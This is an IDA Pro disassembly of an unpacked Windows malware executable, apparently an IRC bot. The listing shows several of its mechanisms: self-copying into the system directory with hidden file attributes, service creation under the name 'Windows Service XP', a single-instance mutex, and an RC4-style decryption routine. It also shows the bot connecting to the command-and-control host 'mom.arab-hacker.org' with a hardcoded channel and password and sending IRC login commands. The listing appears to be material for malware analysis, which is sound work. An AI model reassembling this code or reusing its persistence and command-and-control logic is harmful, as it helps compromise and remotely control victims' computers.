; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : A8A1059F8A5E78E3918E72C2B06005A9 ; File Name : u:\work\a8a1059f8a5e78e3918e72c2b06005a9_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 000F9000 (1019904.) ; Section size in file : 000F9000 (1019904.) ; Offset to raw data for section: 00001000 ; Flags F2000060: Text Data Discardable Shareable Executable Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _nsp0 segment para public 'CODE' use32 assume cs:_nsp0 ;org 401000h assume es:nothing, ss:nothing, ds:_nsp0, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401000 proc near ; CODE XREF: sub_40141B+355p ; sub_41615A+1Ep ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, offset dword_43A050 xor esi, esi mov ebx, offset aWindowsService ; "Windows Service XP" loc_401013: ; CODE XREF: sub_401000+69j lea eax, [ebp+var_4] push esi push eax push esi push 0F003Fh push esi push esi push esi push dword ptr [edi+4] push dword ptr [edi] call dword_4E0858 cmp [ebp+arg_0], esi jz short loc_40104D push [ebp+arg_0] call sub_418D00 pop ecx push eax push [ebp+arg_0] push 1 push esi push ebx push [ebp+var_4] call dword_4E08C4 jmp short loc_401057 ; --------------------------------------------------------------------------- loc_40104D: ; CODE XREF: sub_401000+2Fj push ebx push [ebp+var_4] call dword_4E0810 loc_401057: ; CODE XREF: sub_401000+4Bj push [ebp+var_4] call dword_4E087C add edi, 8 cmp edi, offset dword_43A068 jl short loc_401013 pop edi pop esi pop ebx leave retn sub_401000 endp ; =============== S U B R O U T I N E ======================================= sub_401070 proc near ; CODE XREF: sub_4010AB+56p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov edx, [esp+arg_0] push esi or esi, 0FFFFFFFFh test eax, eax jz short loc_4010A5 push ebx push edi lea edi, [eax] mov ecx, 0FFh loc_401089: ; CODE XREF: sub_401070+31j mov al, [edx] mov ebx, esi and eax, ecx and ebx, ecx xor eax, ebx shr esi, 8 mov eax, dword_43701C[eax*4] xor esi, eax inc edx dec edi jnz short loc_401089 pop edi pop ebx loc_4010A5: ; CODE XREF: sub_401070+Ej mov eax, esi pop esi not eax retn sub_401070 endp ; =============== S U B R O U T I N E ======================================= sub_4010AB proc near ; CODE XREF: sub_414A1D+24Ap var_10 = dword ptr -10h arg_0 = dword ptr 4 push ebx push esi xor ebx, ebx push edi push ebx call sub_418ED0 mov [esp+10h+var_10], offset dword_43A068 push [esp+10h+arg_0] mov esi, eax call sub_41B170 mov edi, eax pop ecx test edi, edi pop ecx jz short loc_4010FA loc_4010D0: ; CODE XREF: sub_4010AB+4Dj test byte ptr [edi+0Ch], 10h jnz short loc_4010FE inc ebx push ebx push esi call sub_419360 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_4010FA push edi push 1 lea eax, [esi+ebx-1] push 1 push eax call sub_41AE60 add esp, 10h jmp short loc_4010D0 ; --------------------------------------------------------------------------- loc_4010FA: ; CODE XREF: sub_4010AB+23j ; sub_4010AB+39j xor eax, eax jmp short loc_401119 ; --------------------------------------------------------------------------- loc_4010FE: ; CODE XREF: sub_4010AB+29j dec ebx push ebx push esi call sub_401070 push esi mov ebx, eax call sub_419940 push edi call sub_418D80 add esp, 10h mov eax, ebx loc_401119: ; CODE XREF: sub_4010AB+51j pop edi pop esi pop ebx retn sub_4010AB endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 240h push ebx push esi lea eax, [ebp-34h] push edi xor ebx, ebx push eax xor edi, edi mov byte ptr [ebp-34h], 0Ah mov byte ptr [ebp-33h], 0Eh mov byte ptr [ebp-32h], 20h mov byte ptr [ebp-31h], 48h mov byte ptr [ebp-30h], 0Bh mov byte ptr [ebp-2Fh], 2Bh mov byte ptr [ebp-2Eh], 0Ch mov byte ptr [ebp-2Dh], 23h mov byte ptr [ebp-2Ch], 3Ah mov byte ptr [ebp-2Bh], 27h mov byte ptr [ebp-2Ah], 28h mov byte ptr [ebp-29h], 5Eh mov byte ptr [ebp-28h], 2Ah mov byte ptr [ebp-27h], 1Eh mov byte ptr [ebp-26h], 2Dh mov byte ptr [ebp-25h], 5Ah mov byte ptr [ebp-24h], 1Bh mov byte ptr [ebp-23h], 0Fh mov byte ptr [ebp-22h], 4Ch mov byte ptr [ebp-21h], 44h mov byte ptr [ebp-20h], 16h mov byte ptr [ebp-1Fh], 4 mov byte ptr [ebp-1Eh], 57h mov byte ptr [ebp-1Dh], 23h mov byte ptr [ebp-1Ch], 11h mov byte ptr [ebp-1Bh], 53h mov byte ptr [ebp-1Ah], 38h mov byte ptr [ebp-19h], 13h mov byte ptr [ebp-18h], 0Dh mov byte ptr [ebp-17h], 12h mov byte ptr [ebp-16h], 25h mov byte ptr [ebp-15h], 1Ch mov byte ptr [ebp-14h], 30h mov byte ptr [ebp-13h], 12h mov byte ptr [ebp-12h], 50h mov byte ptr [ebp-11h], 4Fh mov byte ptr [ebp-10h], 39h mov byte ptr [ebp-0Fh], 10h mov byte ptr [ebp-0Eh], 42h mov byte ptr [ebp-0Dh], 1Fh mov byte ptr [ebp-0Ch], 37h mov byte ptr [ebp-0Bh], 1Dh mov byte ptr [ebp-0Ah], 41h mov byte ptr [ebp-9], 55h mov byte ptr [ebp-8], 2Ch mov byte ptr [ebp-7], 41h mov byte ptr [ebp-6], 2Ch mov byte ptr [ebp-5], 58h mov [ebp-4], bl call sub_418D00 mov esi, 101h mov [ebp-38h], eax push esi lea eax, [ebp-13Ch] push ebx push eax call sub_41B190 push esi lea eax, [ebp-240h] push ebx push eax call sub_41B190 add esp, 1Ch xor eax, eax mov ecx, 100h loc_401227: ; CODE XREF: .nsp0:00401231j mov [ebp+eax-13Ch], al inc eax cmp eax, ecx jb short loc_401227 cmp [ebp+14h], ebx jz short loc_401256 xor eax, eax loc_40123A: ; CODE XREF: .nsp0:00401252j cmp edi, [ebp+14h] jnz short loc_401241 xor edi, edi loc_401241: ; CODE XREF: .nsp0:0040123Dj mov edx, [ebp+10h] mov dl, [edi+edx] inc edi mov [ebp+eax-240h], dl inc eax cmp eax, ecx jb short loc_40123A jmp short loc_401270 ; --------------------------------------------------------------------------- loc_401256: ; CODE XREF: .nsp0:00401236j xor esi, esi loc_401258: ; CODE XREF: .nsp0:0040126Ej cmp edi, [ebp-38h] jnz short loc_40125F xor edi, edi loc_40125F: ; CODE XREF: .nsp0:0040125Bj mov al, [ebp+edi-34h] inc edi mov [ebp+esi-240h], al inc esi cmp esi, ecx jb short loc_401258 loc_401270: ; CODE XREF: .nsp0:00401254j mov [ebp+14h], ebx xor edi, edi mov eax, 0FFh loc_40127A: ; CODE XREF: .nsp0:004012B4j mov dl, [ebp+edi-13Ch] mov ebx, [ebp+14h] mov cl, [ebp+edi-240h] lea esi, [ebp+edi-13Ch] add ebx, edx add ecx, ebx and ecx, eax inc edi mov [ebp+14h], ecx cmp edi, 100h mov bl, [ebp+ecx-13Ch] lea ecx, [ebp+ecx-13Ch] mov [esi], bl mov [ecx], dl jb short loc_40127A xor edi, edi cmp [ebp+0Ch], edi mov [ebp+14h], edi mov [ebp+10h], edi jbe short loc_401312 loc_4012C3: ; CODE XREF: .nsp0:00401310j inc edi and edi, eax mov dl, [ebp+edi-13Ch] lea ecx, [ebp+edi-13Ch] mov bl, dl add ebx, [ebp+14h] and ebx, eax mov esi, ebx mov bl, [ebp+esi-13Ch] mov [ebp+14h], esi mov [ecx], bl lea esi, [ebp+esi-13Ch] mov ebx, [ebp+10h] mov [esi], dl mov cl, [ecx] mov esi, [ebp+8] add ecx, edx and ecx, eax add esi, ebx mov cl, [ebp+ecx-13Ch] xor [esi], cl inc ebx cmp ebx, [ebp+0Ch] mov [ebp+10h], ebx jb short loc_4012C3 loc_401312: ; CODE XREF: .nsp0:004012C1j pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401317 proc near ; DATA XREF: sub_40141B+14o var_268 = dword ptr -268h var_25C = byte ptr -25Ch var_158 = byte ptr -158h var_54 = dword ptr -54h var_48 = dword ptr -48h var_28 = dword ptr -28h var_24 = word ptr -24h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 25Ch push ebx push esi push edi push dword_4537D4 call dword_4E0934 call sub_40A9C6 call dword_4E0804 call dword_4E0804 mov ebx, dword_4F1334 push 64h call ebx ; Sleep xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_41B190 push 44h lea eax, [ebp+var_54] pop esi push esi push edi push eax call sub_41B190 add esp, 18h mov [ebp+var_54], esi mov esi, 104h lea eax, [ebp+var_25C] push esi push eax mov [ebp+var_48], offset dword_452A40 mov [ebp+var_28], 1 mov [ebp+var_24], di call dword_4F1330 ; GetSystemDirectoryA lea eax, [ebp+var_158] push esi push eax push edi call dword_4F132C ; GetModuleFileNameA lea eax, [ebp+var_10] push eax lea eax, [ebp+var_54] push eax lea eax, [ebp+var_25C] push eax push edi push 28h push 1 push edi lea eax, [ebp+var_158] push edi push eax push edi call dword_4F1328 ; CreateProcessA test eax, eax jz short loc_4013DC push 64h call ebx ; Sleep push [ebp+var_10] mov esi, dword_4F1324 call esi ; CloseHandle push [ebp+var_C] call esi ; CloseHandle loc_4013DC: ; CODE XREF: sub_401317+AFj mov eax, [ebp+arg_8] mov dword ptr [eax+0B0h], offset dword_452A38 mov eax, [esp+268h+var_268] mov large fs:0, eax add esp, 8 push edi call dword_4F1320 ; ExitProcess pop edi pop esi pop ebx loc_4013FF: ; DATA XREF: .nsp0:0043A004o jmp $+5 push 0FFFFh push 539h call sub_4165B5 pop ecx mov dword_4E05C8, eax pop ecx retn sub_401317 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40141B proc near ; CODE XREF: .nsp0:0041EAE1p var_988 = byte ptr -988h var_884 = byte ptr -884h var_883 = byte ptr -883h var_6F4 = byte ptr -6F4h var_5F4 = byte ptr -5F4h var_4F0 = byte ptr -4F0h var_3F0 = byte ptr -3F0h var_2EC = byte ptr -2ECh var_1E8 = byte ptr -1E8h var_E4 = dword ptr -0E4h var_D8 = dword ptr -0D8h var_B8 = dword ptr -0B8h var_B4 = word ptr -0B4h var_A0 = byte ptr -0A0h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 988h push ebx xor ebx, ebx push esi push edi mov [ebp+var_8], ebx mov [ebp+var_C], ebx mov [ebp+var_4], offset sub_401317 push [ebp+var_4] push large dword ptr fs:0 mov large fs:0, esp mov esi, dword_4F1364 call esi ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx mov dword_4E05CC, eax call esi ; GetTickCount push eax call sub_41B840 pop ecx call sub_408F54 push 2 call dword_4E0948 push 7530h push offset aK333yx ; "k333yx" push ebx push ebx call dword_4F1360 ; CreateMutexA push eax call dword_4F135C ; WaitForSingleObject cmp eax, 102h jnz short loc_40149B push 1 call dword_4F1320 ; ExitProcess loc_40149B: ; CODE XREF: sub_40141B+76j lea eax, [ebp+var_884] push eax push 202h call dword_4E081C cmp eax, ebx jnz loc_4019D8 cmp [ebp+var_884], 2 jnz loc_4019D2 xor eax, eax mov al, [ebp+var_883] cmp al, 2 jnz loc_4019D2 mov esi, 104h lea eax, [ebp+var_3F0] push esi push eax call dword_4F1330 ; GetSystemDirectoryA lea eax, [ebp+var_2EC] push esi push eax push ebx call dword_4F1358 ; GetModuleHandleA push eax call dword_4F132C ; GetModuleFileNameA lea eax, [ebp+var_4F0] push eax lea eax, [ebp+var_6F4] push eax push ebx lea eax, [ebp+var_2EC] push ebx push eax call sub_41BA10 lea eax, [ebp+var_4F0] push eax lea eax, [ebp+var_6F4] push eax push offset aSS_7 ; "%s%s" lea eax, [ebp+var_5F4] push esi push eax call sub_41B910 lea eax, [ebp+var_3F0] push eax lea eax, [ebp+var_2EC] push eax call sub_41B890 add esp, 30h test eax, eax jnz loc_40170D cmp dword_43A08C, ebx mov esi, offset byte_43A0E8 jz short loc_401593 push esi xor edi, edi call sub_418D00 sub eax, 4 pop ecx jz short loc_401593 loc_401570: ; CODE XREF: sub_40141B+176j call sub_41B850 push 1Ah cdq pop ecx idiv ecx push esi add dl, 61h mov byte_43A0E8[edi], dl inc edi call sub_418D00 sub eax, 4 pop ecx cmp edi, eax jb short loc_401570 loc_401593: ; CODE XREF: sub_40141B+145j ; sub_40141B+153j lea eax, [ebp+var_3F0] push esi push eax lea eax, [ebp+var_1E8] push offset aSS_8 ; "%s\\%s" push eax call sub_41B740 add esp, 10h lea eax, [ebp+var_1E8] push eax call dword_4F1354 ; GetFileAttributesA cmp eax, 0FFFFFFFFh jz short loc_4015D3 lea eax, [ebp+var_1E8] push 80h push eax call dword_4F1350 ; SetFileAttributesA loc_4015D3: ; CODE XREF: sub_40141B+1A4j mov esi, dword_4F134C lea eax, [ebp+var_1E8] push ebx push eax lea eax, [ebp+var_2EC] xor edi, edi push eax loc_4015EA: ; CODE XREF: sub_40141B+206j call esi ; CopyFileA test eax, eax jnz short loc_401623 call dword_4F1348 ; RtlGetLastWin32Error cmp edi, ebx jnz short loc_401623 cmp eax, 20h jz short loc_401604 cmp eax, 5 jnz short loc_401623 loc_401604: ; CODE XREF: sub_40141B+1E2j push 1 pop edi push 3A98h call dword_4F1334 ; Sleep lea eax, [ebp+var_1E8] push ebx push eax lea eax, [ebp+var_2EC] push eax jmp short loc_4015EA ; --------------------------------------------------------------------------- loc_401623: ; CODE XREF: sub_40141B+1D3j ; sub_40141B+1DDj ... lea eax, [ebp+var_1E8] push eax call sub_416016 pop ecx lea eax, [ebp+var_1E8] push 7 push eax call dword_4F1350 ; SetFileAttributesA push 10h lea eax, [ebp+var_20] push ebx push eax call sub_41B190 push 44h lea eax, [ebp+var_E4] pop esi push esi push ebx push eax call sub_41B190 add esp, 18h mov [ebp+var_E4], esi mov [ebp+var_D8], offset dword_4E0758 mov [ebp+var_B4], bx push 1 pop esi mov [ebp+var_B8], esi call dword_4F1344 ; GetCurrentProcessId push eax push esi push 100000h call dword_4F1340 ; OpenProcess lea ecx, [ebp+var_2EC] push ecx push eax lea eax, [ebp+var_1E8] push eax lea eax, [ebp+var_988] push offset aSDS_0 ; "%s %d \"%s\"" push eax call sub_41B740 add esp, 14h lea eax, [ebp+var_20] push eax lea eax, [ebp+var_E4] push eax lea eax, [ebp+var_3F0] push eax push ebx push 28h push esi push ebx lea eax, [ebp+var_988] push ebx push eax lea eax, [ebp+var_1E8] push eax call dword_4F1328 ; CreateProcessA test eax, eax jz short loc_40170D push 0C8h call dword_4F1334 ; Sleep push [ebp+var_20] mov esi, dword_4F1324 call esi ; CloseHandle push [ebp+var_1C] call esi ; CloseHandle call dword_4E0804 push ebx call dword_4F1320 ; ExitProcess loc_40170D: ; CODE XREF: sub_40141B+134j ; sub_40141B+2C8j cmp dword_4EF88C, 2 jle short loc_401759 mov eax, dword_4EF890 push dword ptr [eax+4] call sub_41B3F0 pop ecx mov esi, eax push 0FFFFFFFFh push esi call dword_4F135C ; WaitForSingleObject push esi call dword_4F1324 ; CloseHandle mov eax, dword_4EF890 cmp [eax+8], ebx jz short loc_401759 push 7D0h call dword_4F1334 ; Sleep mov eax, dword_4EF890 push dword ptr [eax+8] call dword_4F133C ; DeleteFileA loc_401759: ; CODE XREF: sub_40141B+2F9j ; sub_40141B+323j cmp dword_43A090, ebx jz short loc_401776 cmp dword_4E096C, ebx jnz short loc_401776 lea eax, [ebp+var_5F4] push eax call sub_401000 pop ecx loc_401776: ; CODE XREF: sub_40141B+344j ; sub_40141B+34Cj lea eax, [ebp+var_A0] push offset dword_44145C push eax call sub_41B740 push ebx lea eax, [ebp+var_A0] push ebx push eax call sub_40A7FD lea eax, [ebp+var_A0] push eax call sub_41458A push 0B80h push ebx push offset dword_452A48 call sub_41B190 lea eax, [ebp+var_A0] push offset unk_441478 push eax call sub_41B740 push ebx lea eax, [ebp+var_A0] push 1 push eax call sub_40A7FD add esp, 38h mov esi, eax mov edi, dword_4F1338 lea eax, [ebp+var_8] push eax push ebx push ebx push offset sub_417935 push ebx push ebx call edi ; CreateThread imul esi, 234h cmp eax, ebx mov dword_4537DC[esi], eax jnz short loc_401816 call dword_4F1348 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_A0] push offset unk_44149C push eax call sub_41B740 add esp, 0Ch loc_401816: ; CODE XREF: sub_40141B+3DEj lea eax, [ebp+var_A0] push eax call sub_41458A push 2 call sub_40AA45 pop ecx test eax, eax pop ecx jnz short loc_40189B lea eax, [ebp+var_A0] push offset dword_4414DC push eax call sub_41B740 push ebx lea eax, [ebp+var_A0] push 2 push eax call sub_40A7FD add esp, 14h mov esi, eax lea eax, [ebp+var_8] push eax push ebx push esi push offset sub_40FD11 push ebx push ebx call edi ; CreateThread imul esi, 234h cmp eax, ebx mov dword_4537DC[esi], eax jnz short loc_40188E call dword_4F1348 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_A0] push offset dword_441508 push eax call sub_41B740 add esp, 0Ch loc_40188E: ; CODE XREF: sub_40141B+456j lea eax, [ebp+var_A0] push eax call sub_41458A pop ecx loc_40189B: ; CODE XREF: sub_40141B+412j call sub_41B850 push 7Fh and eax, 3 push offset aMom_arabHacker ; "mom.arab-hacker.org" push offset dword_4E05D4 mov dword_4E074C, eax call sub_41B1F0 mov eax, dword_43A06C push 3Fh mov edi, offset dword_4E0654 push offset aDd ; "#dd" push edi mov dword_4E0724, eax call sub_41B1F0 push 3Fh mov esi, offset dword_4E0694 push offset aDpass ; "dpass" push esi call sub_41B1F0 add esp, 24h mov dword_4E0728, ebx loc_4018F0: ; CODE XREF: sub_40141B+55Dj ; sub_40141B+568j ... mov [ebp+var_4], ebx loc_4018F3: ; CODE XREF: sub_40141B+511j push offset dword_4E05D0 mov dword_4E0748, ebx call sub_4019E1 cmp eax, 2 mov [ebp+var_10], eax jz loc_4019CD cmp dword_4E0748, ebx jz short loc_40191A dec [ebp+var_4] loc_40191A: ; CODE XREF: sub_40141B+4FAj push 0BB8h call dword_4F1334 ; Sleep inc [ebp+var_4] cmp [ebp+var_4], 6 jl short loc_4018F3 cmp [ebp+var_10], 2 jz loc_4019CD cmp [ebp+var_C], ebx jz short loc_40197D push 7Fh push offset aMom_arabHacker ; "mom.arab-hacker.org" push offset dword_4E05D4 call sub_41B1F0 mov eax, dword_43A06C push 3Fh push offset aDd ; "#dd" push edi mov dword_4E0724, eax call sub_41B1F0 push 3Fh push offset aDpass ; "dpass" push esi call sub_41B1F0 add esp, 24h mov [ebp+var_C], ebx jmp loc_4018F0 ; --------------------------------------------------------------------------- loc_40197D: ; CODE XREF: sub_40141B+520j cmp byte_4E073C, bl jz loc_4018F0 push 7Fh push offset byte_4E073C push offset dword_4E05D4 call sub_41B1F0 mov eax, dword_43A070 push 3Fh push offset dword_4E0740 push edi mov dword_4E0724, eax call sub_41B1F0 push 3Fh push offset dword_4E0744 push esi call sub_41B1F0 add esp, 24h mov [ebp+var_C], 1 jmp loc_4018F0 ; --------------------------------------------------------------------------- loc_4019CD: ; CODE XREF: sub_40141B+4EEj ; sub_40141B+517j call sub_40A9C6 loc_4019D2: ; CODE XREF: sub_40141B+A1j ; sub_40141B+B1j call dword_4E0804 loc_4019D8: ; CODE XREF: sub_40141B+94j pop edi pop esi xor eax, eax pop ebx leave retn 10h sub_40141B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4019E1 proc near ; CODE XREF: sub_40141B+4E3p ; DATA XREF: sub_401CC1+5DE1o var_190 = dword ptr -190h var_18C = byte ptr -18Ch var_10C = byte ptr -10Ch var_CC = byte ptr -0CCh var_8C = byte ptr -8Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_2C = byte ptr -2Ch var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 190h mov eax, [ebp+arg_0] push esi push edi push 59h pop ecx mov esi, eax lea edi, [ebp+var_190] rep movsd mov dword ptr [eax+160h], 1 loc_401A06: ; CODE XREF: sub_4019E1+E6j ; sub_4019E1+136j ... push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41B190 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_3C] call dword_4E08A0 mov [ebp+var_E], ax lea eax, [ebp+var_18C] push eax call sub_409EFD test eax, eax pop ecx mov [ebp+var_C], eax jz loc_401B33 push 1Ch lea eax, [ebp+var_2C] push 0 push eax call sub_41B190 push 0 lea eax, [ebp+var_2C] push dword_43A0A0 push dword_43A09C push eax call sub_40A4F6 mov edi, eax mov eax, [ebp+var_34] imul eax, 234h push 1Bh add eax, offset byte_4537E0 push edi push eax call sub_41B1F0 add esp, 28h push 6 push 1 push 2 call dword_4E091C mov esi, eax mov eax, [ebp+var_34] imul eax, 234h push 10h mov dword_4537D4[eax], esi lea eax, [ebp+var_10] push eax push esi call dword_4E084C cmp eax, 0FFFFFFFFh jnz short loc_401ACC push esi call dword_4E0934 call sub_409F26 push 7D0h loc_401AC1: ; CODE XREF: sub_4019E1+146j call dword_4F1334 ; Sleep jmp loc_401A06 ; --------------------------------------------------------------------------- loc_401ACC: ; CODE XREF: sub_4019E1+CDj lea eax, [ebp+var_18C] push eax push offset unk_44153C call sub_4145FE push [ebp+var_38] lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_CC] push [ebp+var_190] push edi push eax lea eax, [ebp+var_10C] push eax push esi call sub_401B49 add esp, 28h mov edi, eax push esi call dword_4E0934 test edi, edi jz loc_401A06 cmp edi, 1 jnz short loc_401B29 push 0DBBA0h jmp short loc_401AC1 ; --------------------------------------------------------------------------- loc_401B29: ; CODE XREF: sub_4019E1+13Fj cmp edi, 2 jz short loc_401B37 jmp loc_401A06 ; --------------------------------------------------------------------------- loc_401B33: ; CODE XREF: sub_4019E1+5Aj xor eax, eax jmp short loc_401B43 ; --------------------------------------------------------------------------- loc_401B37: ; CODE XREF: sub_4019E1+14Bj push [ebp+var_34] call sub_40AB19 pop ecx push 2 pop eax loc_401B43: ; CODE XREF: sub_4019E1+154j pop edi pop esi leave retn 4 sub_4019E1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401B49 proc near ; CODE XREF: sub_4019E1+123p var_1A90 = byte ptr -1A90h var_A90 = byte ptr -0A90h var_2C0 = byte ptr -2C0h var_140 = byte ptr -140h var_A0 = byte ptr -0A0h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp mov eax, 1A90h call sub_41BC60 push ebx push esi push edi xor ebx, ebx push 3 mov [ebp+var_8], ebx lea eax, [ebp+var_2C0] pop ecx loc_401B67: ; CODE XREF: sub_401B49+26j mov [eax], bl add eax, 80h dec ecx jnz short loc_401B67 cmp byte_4E0738, bl jz short loc_401B8E push offset byte_4E0738 push offset aPassS ; "PASS %s\r\n" push [ebp+arg_0] call sub_408E73 add esp, 0Ch loc_401B8E: ; CODE XREF: sub_401B49+2Ej push [ebp+arg_C] lea eax, [ebp+var_20] push ebx push ebx push 2 push eax call sub_40A4F6 add esp, 10h push eax lea eax, [ebp+var_A0] push [ebp+arg_C] push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n" push eax call sub_41B740 add esp, 14h lea eax, [ebp+var_A0] push ebx push eax call sub_418D00 pop ecx push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call dword_4E08EC cmp eax, 0FFFFFFFFh jnz short loc_401BF8 push [ebp+arg_0] call dword_4E0934 push 1388h call dword_4F1334 ; Sleep loc_401BF1: ; CODE XREF: sub_401B49+D9j ; sub_401B49+153j xor eax, eax loc_401BF3: ; CODE XREF: sub_401B49+173j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_401BF8: ; CODE XREF: sub_401B49+92j ; sub_401B49+F8j ... mov esi, 1000h lea eax, [ebp+var_1A90] push esi push ebx push eax call sub_41B190 add esp, 0Ch lea eax, [ebp+var_1A90] push ebx push esi push eax push [ebp+arg_0] call dword_4E08B8 test eax, eax jle short loc_401BF1 lea eax, [ebp+var_A90] push eax lea eax, [ebp+var_1A90] push eax call sub_415CFF pop ecx cmp eax, ebx pop ecx mov [ebp+var_C], eax mov [ebp+var_4], ebx jle short loc_401BF8 lea edi, [ebp+var_A90] loc_401C49: ; CODE XREF: sub_401B49+165j push 1 pop esi loc_401C4C: ; CODE XREF: sub_401B49+144j push [ebp+arg_1C] lea eax, [ebp+var_8] push esi push eax lea eax, [ebp+var_140] push eax lea eax, [ebp+var_2C0] push eax push [ebp+arg_18] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push dword ptr [edi] call sub_401CC1 add esp, 2Ch dec eax mov esi, eax cmp esi, ebx jle short loc_401C8F push 7D0h call dword_4F1334 ; Sleep jmp short loc_401C4C ; --------------------------------------------------------------------------- loc_401C8F: ; CODE XREF: sub_401B49+137j cmp esi, 0FFFFFFFDh jz short loc_401CB9 cmp esi, 0FFFFFFFEh jz short loc_401CB5 cmp esi, 0FFFFFFFFh jz loc_401BF1 inc [ebp+var_4] add edi, 4 mov eax, [ebp+var_4] cmp eax, [ebp+var_C] jl short loc_401C49 jmp loc_401BF8 ; --------------------------------------------------------------------------- loc_401CB5: ; CODE XREF: sub_401B49+14Ej push 1 jmp short loc_401CBB ; --------------------------------------------------------------------------- loc_401CB9: ; CODE XREF: sub_401B49+149j push 2 loc_401CBB: ; CODE XREF: sub_401B49+16Ej pop eax jmp loc_401BF3 sub_401B49 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401CC1 proc near ; CODE XREF: sub_401B49+12Ap var_4AE8 = byte ptr -4AE8h var_46E8 = byte ptr -46E8h var_4558 = byte ptr -4558h var_4454 = byte ptr -4454h var_4350 = byte ptr -4350h var_4250 = byte ptr -4250h var_4150 = byte ptr -4150h var_4050 = byte ptr -4050h var_3F4C = byte ptr -3F4Ch var_3E4C = byte ptr -3E4Ch var_3C4C = byte ptr -3C4Ch var_3B4C = byte ptr -3B4Ch var_3A4C = byte ptr -3A4Ch var_39E8 = byte ptr -39E8h var_37E8 = byte ptr -37E8h var_36E8 = byte ptr -36E8h var_35E8 = byte ptr -35E8h var_34E8 = byte ptr -34E8h var_33E8 = dword ptr -33E8h var_33E4 = dword ptr -33E4h var_33E0 = byte ptr -33E0h var_3360 = byte ptr -3360h var_32E0 = byte ptr -32E0h var_3260 = byte ptr -3260h var_31E0 = byte ptr -31E0h var_3160 = dword ptr -3160h var_315C = dword ptr -315Ch var_3158 = dword ptr -3158h var_3154 = dword ptr -3154h var_3150 = byte ptr -3150h var_2EC9 = byte ptr -2EC9h var_2EC8 = byte ptr -2EC8h var_2DC4 = dword ptr -2DC4h var_2DBC = dword ptr -2DBCh var_2DB8 = dword ptr -2DB8h var_2DB4 = dword ptr -2DB4h var_2DB0 = dword ptr -2DB0h var_2DA8 = dword ptr -2DA8h var_2DA4 = dword ptr -2DA4h var_2DA0 = byte ptr -2DA0h var_2D20 = byte ptr -2D20h var_2CA0 = byte ptr -2CA0h var_2C20 = byte ptr -2C20h var_2BA0 = dword ptr -2BA0h var_2B9C = dword ptr -2B9Ch var_2B98 = dword ptr -2B98h var_2B94 = dword ptr -2B94h var_2B90 = dword ptr -2B90h var_2B8C = byte ptr -2B8Ch var_2B0C = byte ptr -2B0Ch var_2A8C = byte ptr -2A8Ch var_2A0C = byte ptr -2A0Ch var_298C = dword ptr -298Ch var_2988 = dword ptr -2988h var_2984 = dword ptr -2984h var_2980 = dword ptr -2980h var_297C = dword ptr -297Ch var_2978 = byte ptr -2978h var_28F8 = byte ptr -28F8h var_2878 = byte ptr -2878h var_27F8 = byte ptr -27F8h var_2778 = dword ptr -2778h var_2774 = dword ptr -2774h var_2770 = dword ptr -2770h var_276C = dword ptr -276Ch var_2768 = dword ptr -2768h var_2764 = byte ptr -2764h var_26E4 = byte ptr -26E4h var_2664 = byte ptr -2664h var_25E4 = byte ptr -25E4h var_2564 = dword ptr -2564h var_2560 = dword ptr -2560h var_255C = dword ptr -255Ch var_2558 = dword ptr -2558h var_2554 = dword ptr -2554h var_2550 = byte ptr -2550h var_244C = byte ptr -244Ch var_2348 = dword ptr -2348h var_2344 = dword ptr -2344h var_2340 = dword ptr -2340h var_233C = byte ptr -233Ch var_22BC = dword ptr -22BCh var_22B8 = dword ptr -22B8h var_22B4 = dword ptr -22B4h var_22B0 = byte ptr -22B0h var_21AC = dword ptr -21ACh var_21A8 